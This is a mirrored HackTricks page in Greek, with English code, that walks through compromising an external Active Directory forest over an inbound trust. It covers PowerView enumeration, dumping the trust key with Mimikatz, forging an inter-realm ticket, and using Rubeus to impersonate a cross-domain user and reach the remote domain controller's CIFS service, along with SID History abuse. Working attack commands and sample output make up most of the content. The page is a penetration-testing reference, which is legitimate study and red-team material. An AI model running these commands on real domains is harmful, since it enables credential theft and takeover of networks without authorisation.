Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md

9.2 KiB
Raw Blame History

Εξωτερικό Δάσος Τομέα - Μονοκατεύθυνση (Εισερχόμενη) ή αμφίδρομη

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}

Σε αυτό το σενάριο, ένας εξωτερικός τομέας σας εμπιστεύεται (ή και οι δύο σας εμπιστεύονται ο ένας τον άλλον), οπότε μπορείτε να αποκτήσετε κάποια πρόσβαση σε αυτόν.

Απαρίθμηση

Πρώτα απ' όλα, πρέπει να απαριθμήσετε την εμπιστοσύνη:

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.

Στην προηγούμενη καταμέτρηση βρέθηκε ότι ο χρήστης crossuser είναι μέσα στην ομάδα External Admins που έχει Admin access μέσα στο DC του εξωτερικού τομέα.

Αρχική Πρόσβαση

Αν δεν μπορέσατε να βρείτε καμία ειδική πρόσβαση του χρήστη σας στον άλλο τομέα, μπορείτε να επιστρέψετε στη Μεθοδολογία AD και να προσπαθήσετε να privesc από έναν μη προνομιούχο χρήστη (πράγματα όπως το kerberoasting για παράδειγμα):

Μπορείτε να χρησιμοποιήσετε τις Powerview functions για να enumerate τον άλλο τομέα χρησιμοποιώντας την παράμετρο -Domain όπως στο:

Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName

{% content-ref url="./" %} . {% endcontent-ref %}

Υποκατάσταση

Σύνδεση

Χρησιμοποιώντας μια κανονική μέθοδο με τα διαπιστευτήρια των χρηστών που έχουν πρόσβαση στο εξωτερικό domain, θα πρέπει να μπορείτε να αποκτήσετε πρόσβαση:

Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator

Κατάχρηση Ιστορικού SID

Μπορείτε επίσης να καταχραστείτε το Ιστορικό SID μέσω μιας δασικής εμπιστοσύνης.

Εάν ένας χρήστης μεταφερθεί από μια δασική περιοχή σε άλλη και η Φιλτράρισμα SID δεν είναι ενεργοποιημένη, γίνεται δυνατή η προσθήκη ενός SID από την άλλη δασική περιοχή, και αυτό το SID θα προστεθεί στο token του χρήστη κατά την αυθεντικοποίηση μέσω της εμπιστοσύνης.

{% hint style="warning" %} Ως υπενθύμιση, μπορείτε να αποκτήσετε το κλειδί υπογραφής με

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local

{% endhint %}

Μπορείτε να υπογράψετε με το έμπιστο κλειδί ένα TGT που προσποιείται τον χρήστη του τρέχοντος τομέα.

# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

Πλήρης τρόπος προσποίησης του χρήστη

# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}